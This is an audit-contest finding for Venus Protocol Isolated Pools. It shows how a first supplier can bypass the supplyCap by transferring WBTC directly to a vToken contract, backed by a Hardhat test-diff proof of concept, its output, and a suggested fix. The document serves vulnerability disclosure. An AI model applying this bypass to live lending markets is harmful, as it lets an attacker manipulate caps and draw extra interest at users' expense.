Venus Protocol Isolated Pools - QiuhaoLi's results

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L1423 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L1476 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/Comptroller.sol#L264 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L887

Vulnerability details

Impact

An attacker can supply more than the supplyCap and the over-supply tokens are borrowable in the vToken contract.

Proof of Concept

In vToken _getCashPrior(), we use token.balanceOf(address(this)) to track the underlying. And in preMintHook, _getCashPrior is used (in exchangeRateStored()) to check if the supply overflow the supplyCap:

        uint256 supplyCap = supplyCaps[vToken];
        // Skipping the cap check for uncapped coins to save some gas
        if (supplyCap != type(uint256).max) {
            uint256 vTokenSupply = VToken(vToken).totalSupply();
            Exp memory exchangeRate = Exp({ mantissa: VToken(vToken).exchangeRateStored() }); // <--
            uint256 nextTotalSupply = mul_ScalarTruncateAddUInt(exchangeRate, vTokenSupply, mintAmount);
            if (nextTotalSupply > supplyCap) {
                revert SupplyCapExceeded(vToken, supplyCap);
            }
        }

Also, when a user borrows the underlying assets (_borrowFresh()), _getCashPrior() is used to check if assets are enough:

        /* Fail gracefully if protocol has insufficient underlying cash */
        if (_getCashPrior() - totalReserves < borrowAmount) {
            revert BorrowCashNotAvailable();
        }

So, If an attacker is the first supplier, he can first supply tokens to reach the supply limit (thus, others can't supply to get vTokens). Then he sends tokens directly to the vToken contract to bypass the supply limit check. Later he can also withdraw all the supply tokens + earned interests (since he is the only one who has vTokens).

For example, in the PoC below, user1 is the attacker who gets more profits by oversupplying WBTC. user2 is a borrower.

diff --git a/tests/hardhat/Rewards.ts b/tests/hardhat/Rewards.ts
index 
--- a/tests/hardhat/Rewards.ts
+++ b/tests/hardhat/Rewards.ts
@@ -100,7 +100,7 @@ async function rewardsFixture() {
   fakePriceOracle = await smock.fake<PriceOracle>(PriceOracle__factory.abi);
 
   const btcPrice = "21000.34";
-  const daiPrice = "1";
+  const daiPrice = "10000"; // change DAI price for convenience
 
   fakePriceOracle.getUnderlyingPrice.returns((args: any) => {
     if (vDAI && vWBTC) {
@@ -166,7 +166,7 @@ async function rewardsFixture() {
     initialSupply,
     vTokenReceiver: root.address,
     supplyCap: convertToUnit(1000, 8),
-    borrowCap: convertToUnit(1000, 8),
+    borrowCap: ethers.constants.MaxUint256, // Assume we create a market with only supply limit
   });
 
   initialSupply = convertToUnit(1000, 18);
@@ -379,4 +379,39 @@ describe("Rewards: Tests", async function () {
     */
     expect((await xvs.balanceOf(user1.address)).toString()).be.equal(convertToUnit(500.5, 18));
   });
+
+  it("overSupply", async function () {
+    const [_owner, user1, user2] = await ethers.getSigners();
+
+    await mockWBTC.connect(user1).faucet(convertToUnit(4000, 8)); // user1 supply wbtc
+    await mockWBTC.connect(user2).faucet(convertToUnit(100, 8)); // for user2 to pay interest
+    await mockDAI.connect(user2).faucet(convertToUnit(10000, 18)); // user2's collateral
+
+    let initialSupply = 10;
+    let supplyCap = 1000;
+    await mockWBTC.connect(user1).approve(vWBTC.address, convertToUnit(supplyCap - initialSupply, 8));
+    await vWBTC.connect(user1).mint(convertToUnit(supplyCap - initialSupply, 8)); // now vWBTC supply is at supplyCap (1000)
+
+    // **bypass SupplyCapExceeded check, transfer 1234 wbtc**
+    let overSupply = 1234; // change this to 0 for DEMO
+    await mockWBTC.connect(user1).transfer(vWBTC.address, convertToUnit(overSupply, 8));
+
+    await rewardsDistributor["claimRewardToken(address,address[])"](user1.address, [vWBTC.address, vDAI.address]);
+
+    console.log("\nuser1 get xvs: \t%s", (await xvs.balanceOf(user1.address)))
+
+    await mockDAI.connect(user2).approve(vDAI.address, convertToUnit(10000, 18));
+    await vDAI.connect(user2).mint(convertToUnit(10000, 18));
+    await vWBTC.connect(user2).borrow(convertToUnit(1000 + overSupply, 8)); // **the exceeded supply is borrowerable**
+
+    await rewardsDistributor["claimRewardToken(address,address[])"](user2.address, [vWBTC.address, vDAI.address]);
+
+    await mine(2000000);
+    // user2 repay the wbtc
+    await mockWBTC.connect(user2).approve(vWBTC.address, convertToUnit(1000 + overSupply + 100, 8));
+    await vWBTC.connect(user2).repayBorrow(ethers.constants.MaxUint256);
+    // user1 redeem his supply
+    await vWBTC.connect(user1).redeem((await vWBTC.balanceOf(user1.address)));
+    console.log("user1 WBTC: \t%s\n", (await mockWBTC.balanceOf(user1.address)));
+  });
 });
\ No newline at end of file

qiuhao@pc:~/web3/c4/2023-05-venus$ yarn test tests/hardhat/Rewards.ts --grep "overSupply" # overSupply = 1234
yarn run v1.22.1
$ hardhat test tests/hardhat/Rewards.ts --grep overSupply
No need to generate any newer typings.


  Rewards: Tests

user1 get xvs:  990000000000000000
user1 WBTC:     404657036234

    ✔ overSupply (539ms)


  1 passing (3s)

Done in 4.97s.

qiuhao@pc:~/web3/c4/2023-05-venus$ yarn test tests/hardhat/Rewards.ts --grep "overSupply" # overSupply = 0
yarn run v1.22.1
$ hardhat test tests/hardhat/Rewards.ts --grep overSupply
No need to generate any newer typings.


  Rewards: Tests

user1 get xvs:  990000000000000000
user1 WBTC:     402636990256

    ✔ overSupply (428ms)


  1 passing (3s)

Done in 4.96s.

As we can see, user1 earned more wbtc (402636990256 --> 404657036234) by oversupplying the vToken contract.

The over-supplied contract may suffer in other situations.

Tools Used

Manual Review.

Recommended Mitigation Steps

We can use an independent storage variable to store supplied/underlying tokens and use it to check against insufficient underlying cash in _borrowFresh().

Assessed type

Context